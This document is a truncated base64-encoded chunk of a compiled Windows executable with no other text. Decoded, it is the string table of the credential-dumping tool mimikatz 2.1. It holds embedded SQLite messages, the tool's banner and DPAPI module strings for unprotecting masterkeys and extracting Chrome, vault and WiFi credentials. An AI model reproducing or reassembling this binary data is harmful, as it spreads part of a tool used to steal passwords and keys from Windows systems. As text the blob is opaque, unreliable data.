AAAAAHdpblVubWFwZmlsZTEAAAB3aW5Vbm1hcGZpbGUyAAAAd2luTWFwZmlsZTEAAAAAAHdpbk1hcGZpbGUyAAAAAABldGlscXNfAHdpbkdldFRlbXBuYW1lMQB3aW5HZXRUZW1wbmFtZTIAd2luR2V0VGVtcG5hbWUzAHdpbkdldFRlbXBuYW1lNAB3aW5HZXRUZW1wbmFtZTUAd2luT3BlbgBwc293AAAAAHdpbkRlbGV0ZQAAAAAAAAB3aW5BY2Nlc3MAAAAlcyVjJXMAAAAAAAB3aW5GdWxsUGF0aG5hbWUxAAAAAAAAAAB3aW5GdWxsUGF0aG5hbWUyAAAAAAAAAAB3aW5GdWxsUGF0aG5hbWUzAAAAAAAAAAB3aW5GdWxsUGF0aG5hbWU0AAAAAHdpbjMyAAAAAAAAAHdpbjMyLWxvbmdwYXRoAAByZWNvdmVyZWQgJWQgcGFnZXMgZnJvbSAlcwAAAAAAAC1qb3VybmFsAAAAAG5vbG9jawAAAAAAAGltbXV0YWJsZQAAAEAgIABvdXQgb2YgbWVtb3J5AAAAJWxsZAAAAAAlIS4xNWcAAC0AAAAlcyVzAAAAAAAAAAAlcy1talhYWFhYWDlYWHoATUogZGVsZXRlOiAlcwAAAE1KIGNvbGxpZGU6ICVzAAAtbWolMDZYOSUwMlgAAAAAQVBJIGNhbGxlZCB3aXRoIGZpbmFsaXplZCBwcmVwYXJlZCBzdGF0ZW1lbnQAAAAAQVBJIGNhbGxlZCB3aXRoIE5VTEwgcHJlcGFyZWQgc3RhdGVtZW50AHN0cmluZyBvciBibG9iIHRvbyBiaWcAAHVuYWJsZSB0byB1c2UgZnVuY3Rpb24gJXMgaW4gdGhlIHJlcXVlc3RlZCBjb250ZXh0AAAAAAAAYmluZCBvbiBhIGJ1c3kgcHJlcGFyZWQgc3RhdGVtZW50OiBbJXNdAE5PVCBOVUxMAAAAAFVOSVFVRQAAQ0hFQ0sAAAAAAAAARk9SRUlHTiBLRVkAAAAAACVzIGNvbnN0cmFpbnQgZmFpbGVkAAAAACV6OiAlcwAAYWJvcnQgYXQgJWQgaW4gWyVzXTogJXMAY2Fubm90IG9wZW4gc2F2ZXBvaW50IC0gU1FMIHN0YXRlbWVudHMgaW4gcHJvZ3Jlc3MAAAAAAABubyBzdWNoIHNhdmVwb2ludDogJXMAAABjYW5ub3QgcmVsZWFzZSBzYXZlcG9pbnQgLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAAGNhbm5vdCBjb21taXQgdHJhbnNhY3Rpb24gLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAY2Fubm90IHN0YXJ0IGEgdHJhbnNhY3Rpb24gd2l0aGluIGEgdHJhbnNhY3Rpb24AY2Fubm90IHJvbGxiYWNrIC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAAAAAAAAY2Fubm90IGNvbW1pdCAtIG5vIHRyYW5zYWN0aW9uIGlzIGFjdGl2ZQAAAAAAAAAAZGF0YWJhc2Ugc2NoZW1hIGhhcyBjaGFuZ2VkAAAAAABzcWxpdGVfbWFzdGVyAAAAAAAAAAAAAABTRUxFQ1QgbmFtZSwgcm9vdHBhZ2UsIHNxbCBGUk9NICclcScuJXMgV0hFUkUgJXMgT1JERVIgQlkgcm93aWQAc3RhdGVtZW50IGFib3J0cyBhdCAlZDogWyVzXSAlcwBtaXN1c2Ugb2YgYWxpYXNlZCBhZ2dyZWdhdGUgJXMAAG5vIHN1Y2ggY29sdW1uAABhbWJpZ3VvdXMgY29sdW1uIG5hbWUAAAAlczogJXMuJXMuJXMAAAAAJXM6ICVzLiVzAAAAJXM6ICVzAAAAAAAAcGFydGlhbCBpbmRleCBXSEVSRSBjbGF1c2VzAAAAAABpbmRleCBleHByZXNzaW9ucwAAAAAAAAAlcyBwcm9oaWJpdGVkIGluICVzAAAAAAB0aGUgIi4iIG9wZXJhdG9yAAAAAAAAAABmdW5jdGlvbnMAAAAAAAAAAAAAAAAAAABzZWNvbmQgYXJndW1lbnQgdG8gbGlrZWxpaG9vZCgpIG11c3QgYmUgYSBjb25zdGFudCBiZXR3ZWVuIDAuMCBhbmQgMS4wAABub24tZGV0ZXJtaW5pc3RpYyBmdW5jdGlvbnMAAAAAAG1pc3VzZSBvZiBhZ2dyZWdhdGUgZnVuY3Rpb24gJS4qcygpAAAAAABubyBzdWNoIGZ1bmN0aW9uOiAlLipzAAB3cm9uZyBudW1iZXIgb2YgYXJndW1lbnRzIHRvIGZ1bmN0aW9uICUuKnMoKQAAAABzdWJxdWVyaWVzAAAAAAAAcGFyYW1ldGVycwAAAAAAACVyICVzIEJZIHRlcm0gb3V0IG9mIHJhbmdlIC0gc2hvdWxkIGJlIGJldHdlZW4gMSBhbmQgJWQAdG9vIG1hbnkgdGVybXMgaW4gT1JERVIgQlkgY2xhdXNlAAAAT1JERVIAAAAAAAAAJXIgT1JERVIgQlkgdGVybSBkb2VzIG5vdCBtYXRjaCBhbnkgY29sdW1uIGluIHRoZSByZXN1bHQgc2V0AAAAAHRvbyBtYW55IHRlcm1zIGluICVzIEJZIGNsYXVzZQAAYSBHUk9VUCBCWSBjbGF1c2UgaXMgcmVxdWlyZWQgYmVmb3JlIEhBVklORwBHUk9VUAAAAAAAAABhZ2dyZWdhdGUgZnVuY3Rpb25zIGFyZSBub3QgYWxsb3dlZCBpbiB0aGUgR1JPVVAgQlkgY2xhdXNlAAAAAAAARXhwcmVzc2lvbiB0cmVlIGlzIHRvbyBsYXJnZSAobWF4aW11bSBkZXB0aCAlZCkAdmFyaWFibGUgbnVtYmVyIG11c3QgYmUgYmV0d2VlbiA/MSBhbmQgPyVkAAAAAAAAdG9vIG1hbnkgU1FMIHZhcmlhYmxlcwAAdG9vIG1hbnkgY29sdW1ucyBpbiAlcwAAX1JPV0lEXwBST1dJRAAAAE9JRAAAAAAAb3ZlcnNpemVkIGludGVnZXI6ICVzJXMAbWlzdXNlIG9mIGFnZ3JlZ2F0ZTogJXMoKQAAAAAAAAB1bmtub3duIGZ1bmN0aW9uOiAlcygpAAAlcyAlVCBjYW5ub3QgcmVmZXJlbmNlIG9iamVjdHMgaW4gZGF0YWJhc2UgJXMAAABubyBzdWNoIHRhYmxlAAAAY29ycnVwdCBkYXRhYmFzZQAAAAAAAAAAdW5rbm93biBkYXRhYmFzZSAlVAAAAAAAc3FsaXRlXwBvYmplY3QgbmFtZSByZXNlcnZlZCBmb3IgaW50ZXJuYWwgdXNlOiAlcwAAAAAAAAB0YWJsZSAlVCBhbHJlYWR5IGV4aXN0cwB0aGVyZSBpcyBhbHJlYWR5IGFuIGluZGV4IG5hbWVkICVzAAAAAAAAdG9vIG1hbnkgY29sdW1ucyBvbiAlcwAAZHVwbGljYXRlIGNvbHVtbiBuYW1lOiAlcwAAAAAAAABkZWZhdWx0IHZhbHVlIG9mIGNvbHVtbiBbJXNdIGlzIG5vdCBjb25zdGFudAAAAAB0YWJsZSAiJXMiIGhhcyBtb3JlIHRoYW4gb25lIHByaW1hcnkga2V5AAAAAAAAAABJTlRFR0VSACwAAAApAAAACiAgACwKICAAAAAACikAAENSRUFURSBUQUJMRSAAAAAgVEVYVAAAACBOVU0AAAAAIElOVAAAAAAgUkVBTAAAAEFVVE9JTkNSRU1FTlQgbm90IGFsbG93ZWQgb24gV0lUSE9VVCBST1dJRCB0YWJsZXMAAAAAAAAAUFJJTUFSWSBLRVkgbWlzc2luZyBvbiB0YWJsZSAlcwB0YWJsZQAAAFRBQkxFAAAAQ1JFQVRFICVzICUuKnMAAAAAAAAAAAAAVVBEQVRFICVRLiVzIFNFVCB0eXBlPSclcycsIG5hbWU9JVEsIHRibF9uYW1lPSVRLCByb290cGFnZT0jJWQsIHNxbD0lUSBXSEVSRSByb3dpZD0jJWQAAHRibF9uYW1lPSclcScgQU5EIHR5cGUhPSd0cmlnZ2VyJwAAAAAAAABzcWxpdGVfc3RhdCVkAAAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgJXM9JVEAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSB0YmxfbmFtZT0lUSBhbmQgdHlwZSE9J3RyaWdnZXInAHNxbGl0ZV9zdGF0AAAAAAB0YWJsZSAlcyBtYXkgbm90IGJlIGRyb3BwZWQAdGJsAGluZGV4AAAAY2Fubm90IGNyZWF0ZSBhIFRFTVAgaW5kZXggb24gbm9uLVRFTVAgdGFibGUgIiVzIgAAAAAAAABhbHRlcnRhYl8AAAAAAAAAdGFibGUgJXMgbWF5IG5vdCBiZSBpbmRleGVkAAAAAAB0aGVyZSBpcyBhbHJlYWR5IGEgdGFibGUgbmFtZWQgJXMAAAAAAAAAaW5kZXggJXMgYWxyZWFkeSBleGlzdHMAc3FsaXRlX2F1dG9pbmRleF8lc18lZAAAZXhwcmVzc2lvbnMgcHJvaGliaXRlZCBpbiBQUklNQVJZIEtFWSBhbmQgVU5JUVVFIGNvbnN0cmFpbnRzAAAAAGNvbmZsaWN0aW5nIE9OIENPTkZMSUNUIGNsYXVzZXMgc3BlY2lmaWVkAAAAAAAAACBVTklRVUUAQ1JFQVRFJXMgSU5ERVggJS4qcwAAAAAASU5TRVJUIElOVE8gJVEuJXMgVkFMVUVTKCdpbmRleCcsJVEsJVEsIyVkLCVRKTsAbmFtZT0nJXEnIEFORCB0eXBlPSdpbmRleCcAAAAAAABubyBzdWNoIGluZGV4OiAlUwAAAAAAAAAAAAAAAAAAAGluZGV4IGFzc29jaWF0ZWQgd2l0aCBVTklRVUUgb3IgUFJJTUFSWSBLRVkgY29uc3RyYWludCBjYW5ub3QgYmUgZHJvcHBlZAAAAAAAAAAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgbmFtZT0lUSBBTkQgdHlwZT0naW5kZXgnAAAAAGlkeABPTgAAVVNJTkcAAAAAAAAAYSBKT0lOIGNsYXVzZSBpcyByZXF1aXJlZCBiZWZvcmUgJXMAAAAAAGluZGV4ICclcScAACwgAAAlcy4lcwAAACVzLnJvd2lkAAAAAAAAAABkdXBsaWNhdGUgV0lUSCB0YWJsZSBuYW1lOiAlcwAAAG5vIHN1Y2ggY29sbGF0aW9uIHNlcXVlbmNlOiAlcwAAdGFibGUgJXMgbWF5IG5vdCBiZSBtb2RpZmllZAAAAAByb3dzIGRlbGV0ZWQAAAAAaW50ZWdlcgB0ZXh0AAAAAHJlYWwAAAAAYmxvYgAAAABudWxsAAAAAGludGVnZXIgb3ZlcmZsb3cAAAAAAAAAAExJS0Ugb3IgR0xPQiBwYXR0ZXJuIHRvbyBjb21wbGV4AAAAAAAAAABFU0NBUEUgZXhwcmVzc2lvbiBtdXN0IGJlIGEgc2luZ2xlIGNoYXJhY3RlcgAAAAAlIS4yMGUAACAAAABNQVRDSAAAAGxpa2UAAAAAZ2xvYgAAAAAAAAAAdW5saWtlbHkAAAAAAAAAAGxpa2VsaWhvb2QAAGxpa2VseQAAbHRyaW0AAABydHJpbQAAAHRyaW0AAAAAbWluAG1heAB0eXBlb2YAAGxlbmd0aAAAaW5zdHIAAABwcmludGYAAAAAAAB1bmljb2RlAGNoYXIAAAAAYWJzAHVwcGVyAAAAbG93ZXIAAABoZXgAaWZudWxsAAByYW5kb20AAHJhbmRvbWJsb2IAAG51bGxpZgAAAAAAAHNxbGl0ZV92ZXJzaW9uAABzcWxpdGVfc291cmNlX2lkAAAAAAAAAABzcWxpdGVfbG9nAABxdW90ZQAAAAAAAABsYXN0X2luc2VydF9yb3dpZAAAAAAAAABjaGFuZ2VzAHRvdGFsX2NoYW5nZXMAAAByZXBsYWNlAHplcm9ibG9iAAAAAHN1YnN0cgAAc3VtAHRvdGFsAAAAYXZnAGNvdW50AAAAAAAAAGdyb3VwX2NvbmNhdAAAAABjb2FsZXNjZQAAAAAAAAAAdGFibGUgJVMgaGFzIG5vIGNvbHVtbiBuYW1lZCAlcwB0YWJsZSAlUyBoYXMgJWQgY29sdW1ucyBidXQgJWQgdmFsdWVzIHdlcmUgc3VwcGxpZWQAAAAAACVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAAAAAAAAcm93cyBpbnNlcnRlZAAAAGF1dG9tYXRpYyBleHRlbnNpb24gbG9hZGluZyBmYWlsZWQ6ICVzAAA/AAAAAAAAAG1hbGZvcm1lZCBkYXRhYmFzZSBzY2hlbWEgKCVzKQAAJXogLSAlcwBjcmVhdGUgAGludmFsaWQgcm9vdHBhZ2UAAAAAAAAAAAAAAAAAAAAAQ1JFQVRFIFRBQkxFIHgodHlwZSB0ZXh0LG5hbWUgdGV4dCx0YmxfbmFtZSB0ZXh0LHJvb3RwYWdlIGludGVnZXIsc3FsIHRleHQpAAAAAABhdHRhY2hlZCBkYXRhYmFzZXMgbXVzdCB1c2UgdGhlIHNhbWUgdGV4dCBlbmNvZGluZyBhcyBtYWluIGRhdGFiYXNlAAAAAAB1bnN1cHBvcnRlZCBmaWxlIGZvcm1hdABTRUxFQ1QgbmFtZSwgcm9vdHBhZ2UsIHNxbCBGUk9NICIldyIuJXMgT1JERVIgQlkgcm93aWQAAHN0YXRlbWVudCB0b28gbG9uZwAAAAAAAHVua25vd24gb3IgdW5zdXBwb3J0ZWQgam9pbiB0eXBlOiAlVCAlVCVzJVQAAAAAAFJJR0hUIGFuZCBGVUxMIE9VVEVSIEpPSU5zIGFyZSBub3QgY3VycmVudGx5IHN1cHBvcnRlZAAAYSBOQVRVUkFMIGpvaW4gbWF5IG5vdCBoYXZlIGFuIE9OIG9yIFVTSU5HIGNsYXVzZQAAAAAAAABjYW5ub3QgaGF2ZSBib3RoIE9OIGFuZCBVU0lORyBjbGF1c2VzIGluIHRoZSBzYW1lIGpvaW4AAAAAAAAAAAAAY2Fubm90IGpvaW4gdXNpbmcgY29sdW1uICVzIC0gY29sdW1uIG5vdCBwcmVzZW50IGluIGJvdGggdGFibGVzAFVOSU9OIEFMTAAAAAAAAABJTlRFUlNFQ1QAAABFWENFUFQAAFVOSU9OAAAAcm93aWQAAAAAAAAAY29sdW1uJWQAAAAAAAAAACUuKno6JXUAYWxsIFZBTFVFUyBtdXN0IGhhdmUgdGhlIHNhbWUgbnVtYmVyIG9mIHRlcm1zAAAAU0VMRUNUcyB0byB0aGUgbGVmdCBhbmQgcmlnaHQgb2YgJXMgZG8gbm90IGhhdmUgdGhlIHNhbWUgbnVtYmVyIG9mIHJlc3VsdCBjb2x1bW5zAAAAAAAAAG5vIHN1Y2ggaW5kZXg6ICVzAAAAAAAAACclcycgaXMgbm90IGEgZnVuY3Rpb24AAG11bHRpcGxlIHJlZmVyZW5jZXMgdG8gcmVjdXJzaXZlIHRhYmxlOiAlcwAAAAAAAGNpcmN1bGFyIHJlZmVyZW5jZTogJXMAAHRhYmxlICVzIGhhcyAlZCB2YWx1ZXMgZm9yICVkIGNvbHVtbnMAAABtdWx0aXBsZSByZWN1cnNpdmUgcmVmZXJlbmNlczogJXMAAAAAAAAAcmVjdXJzaXZlIHJlZmVyZW5jZSBpbiBhIHN1YnF1ZXJ5OiAlcwAAAHRvbyBtYW55IHJlZmVyZW5jZXMgdG8gIiVzIjogbWF4IDY1NTM1AAAqAAAAAAAAACVzLiVzLiVzAAAAAAAAAABubyBzdWNoIHRhYmxlOiAlcwAAAAAAAABubyB0YWJsZXMgc3BlY2lmaWVkAAAAAAB0b28gbWFueSBjb2x1bW5zIGluIHJlc3VsdCBzZXQAAERJU1RJTkNUIGFnZ3JlZ2F0ZXMgbXVzdCBoYXZlIGV4YWN0bHkgb25lIGFyZ3VtZW50AAAAAAAAbm8gc3VjaCBjb2x1bW46ICVzAAAAAAAAcm93cyB1cGRhdGVkAAAAAEJJTkFSWQAAdG9vIG1hbnkgYXJndW1lbnRzIG9uICVzKCkgLSBtYXggJWQAAAAAAG5vIHF1ZXJ5IHNvbHV0aW9uAAAAAAAAAGF0IG1vc3QgJWQgdGFibGVzIGluIGEgam9pbgAAAAAAdG9vIG1hbnkgdGVybXMgaW4gY29tcG91bmQgU0VMRUNUAAAAAAAAAHN5bnRheCBlcnJvciBhZnRlciBjb2x1bW4gbmFtZSAiJS4qcyIAAABwYXJzZXIgc3RhY2sgb3ZlcmZsb3cAAAB1bmtub3duIHRhYmxlIG9wdGlvbjogJS4qcwAAAAAAAHNldCBsaXN0AAAAAAAAAABuZWFyICIlVCI6IHN5bnRheCBlcnJvcgB0b28gbWFueSBhcmd1bWVudHMgb24gZnVuY3Rpb24gJVQAAAAAAAAAdW5yZWNvZ25pemVkIHRva2VuOiAiJVQiAAAAAAAAAAAyMDE2LTA1LTE4IDEwOjU3OjMwIGZjNDlmNTU2ZTQ4OTcwNTYxZDdhYjZhMmYyNGZkZDdkOWViODFmZjIAAAAAAAAAAAAAAAB1bmFibGUgdG8gY2xvc2UgZHVlIHRvIHVuZmluYWxpemVkIHN0YXRlbWVudHMgb3IgdW5maW5pc2hlZCBiYWNrdXBzAAAAAABub3QgYW4gZXJyb3IAAAAAU1FMIGxvZ2ljIGVycm9yIG9yIG1pc3NpbmcgZGF0YWJhc2UAAAAAAGFjY2VzcyBwZXJtaXNzaW9uIGRlbmllZAAAAAAAAAAAY2FsbGJhY2sgcmVxdWVzdGVkIHF1ZXJ5IGFib3J0AABkYXRhYmFzZSBpcyBsb2NrZWQAAAAAAABkYXRhYmFzZSB0YWJsZSBpcyBsb2NrZWQAAAAAAAAAAGF0dGVtcHQgdG8gd3JpdGUgYSByZWFkb25seSBkYXRhYmFzZQAAAABpbnRlcnJ1cHRlZAAAAAAAZGlzayBJL08gZXJyb3IAAGRhdGFiYXNlIGRpc2sgaW1hZ2UgaXMgbWFsZm9ybWVkAAAAAAAAAAB1bmtub3duIG9wZXJhdGlvbgAAAAAAAABkYXRhYmFzZSBvciBkaXNrIGlzIGZ1bGwAAAAAAAAAAHVuYWJsZSB0byBvcGVuIGRhdGFiYXNlIGZpbGUAAAAAbG9ja2luZyBwcm90b2NvbAAAAAAAAAAAdGFibGUgY29udGFpbnMgbm8gZGF0YQAAY29uc3RyYWludCBmYWlsZWQAAAAAAAAAZGF0YXR5cGUgbWlzbWF0Y2gAAAAAAAAAbGlicmFyeSByb3V0aW5lIGNhbGxlZCBvdXQgb2Ygc2VxdWVuY2UAAGxhcmdlIGZpbGUgc3VwcG9ydCBpcyBkaXNhYmxlZAAAYXV0aG9yaXphdGlvbiBkZW5pZWQAAAAAYXV4aWxpYXJ5IGRhdGFiYXNlIGZvcm1hdCBlcnJvcgBiaW5kIG9yIGNvbHVtbiBpbmRleCBvdXQgb2YgcmFuZ2UAAAAAAAAAZmlsZSBpcyBlbmNyeXB0ZWQgb3IgaXMgbm90IGEgZGF0YWJhc2UAAHVua25vd24gZXJyb3IAAABhYm9ydCBkdWUgdG8gUk9MTEJBQ0sAAAB1bmFibGUgdG8gZGVsZXRlL21vZGlmeSB1c2VyLWZ1bmN0aW9uIGR1ZSB0byBhY3RpdmUgc3RhdGVtZW50cwAAAAAAAAAAAAB1bmFibGUgdG8gZGVsZXRlL21vZGlmeSBjb2xsYXRpb24gc2VxdWVuY2UgZHVlIHRvIGFjdGl2ZSBzdGF0ZW1lbnRzAGZpbGU6AAAAAAAAAGxvY2FsaG9zdAAAAAAAAABpbnZhbGlkIHVyaSBhdXRob3JpdHk6ICUuKnMAdmZzAGNhY2hlAAAAc2hhcmVkAABwcml2YXRlAG1vZGUAAAAAcm8AAHJ3AAByd2MAbWVtb3J5AABhY2Nlc3MAAAAAAABubyBzdWNoICVzIG1vZGU6ICVzAAAAAAAlcyBtb2RlIG5vdCBhbGxvd2VkOiAlcwBubyBzdWNoIHZmczogJXMATk9DQVNFAABSVFJJTQAAAG1haW4AAAAAdGVtcAAAAAAlcyBhdCBsaW5lICVkIG9mIFslLjEwc10AAAAAAAAAAGRhdGFiYXNlIGNvcnJ1cHRpb24AbWlzdXNlAAAAAAAAY2Fubm90IG9wZW4gZmlsZQAAAAAAAAAACgBGAHUAbABsACAAbgBhAG0AZQAgADoACQAlAHMAAAAKAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoACQAlAHMAAAAAAAAACgAgACAALgAjACMAIwAjACMALgAgACAAIABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMQAgACgAeAA2ADQAKQAgAGIAdQBpAGwAdAAgAG8AbgAgAEoAdQBsACAAMQA1ACAAMgAwADEANgAgADEANAA6ADEAMAA6ADUAMgAKACAALgAjACMAIABeACAAIwAjAC4AIAAgACIAQQAgAEwAYQAgAFYAaQBlACwAIABBACAATAAnAEEAbQBvAHUAcgAiAAoAIAAjACMAIAAvACAAXAAgACMAIwAgACAALwAqACAAKgAgACoACgAgACMAIwAgAFwAIAAvACAAIwAjACAAIAAgAEIAZQBuAGoAYQBtAGkAbgAgAEQARQBMAFAAWQAgAGAAZwBlAG4AdABpAGwAawBpAHcAaQBgACAAKAAgAGIAZQBuAGoAYQBtAGkAbgBAAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAgACkACgAgACcAIwAjACAAdgAgACMAIwAnACAAIAAgAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAvAG0AaQBtAGkAawBhAHQAegAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAbwBlAC4AZQBvACkACgAgACAAJwAjACMAIwAjACMAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcAaQB0AGgAIAAlADIAdQAgAG0AbwBkAHUAbABlAHMAIAAqACAAKgAgACoALwAKAAAACgBtAGkAbQBpAGsAYQB0AHoAKABwAG8AdwBlAHIAcwBoAGUAbABsACkAIAAjACAAJQBzAAoAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBpAG4AaQB0AE8AcgBDAGwAZQBhAG4AIAA7ACAAQwBvAEkAbgBpAHQAaQBhAGwAaQB6AGUARQB4ADoAIAAlADAAOAB4AAoAAAAAAEkATgBJAFQAAAAAAAAAAABDAEwARQBBAE4AAAAAAAAAAAAAAAAAAAA+AD4APgAgACUAcwAgAG8AZgAgACcAJQBzACcAIABtAG8AZAB1AGwAZQAgAGYAYQBpAGwAZQBkACAAOgAgACUAMAA4AHgACgAAAAAAOgA6AAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAAAAAAAAoAJQAxADYAcwAAAAAAAAAgACAALQAgACAAJQBzAAAAIAAgAFsAJQBzAF0AAAAAAAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwA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ZAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAaABhAHMAaAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAAAAAAKgAqACAATQBBAEMASABJAE4ARQAgACoAKgAKAAAAAAAqACoAIABVAFMARQBSACAAKgAqAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkACgAAAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AOgAgAAAAAAAAAAAAcABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHM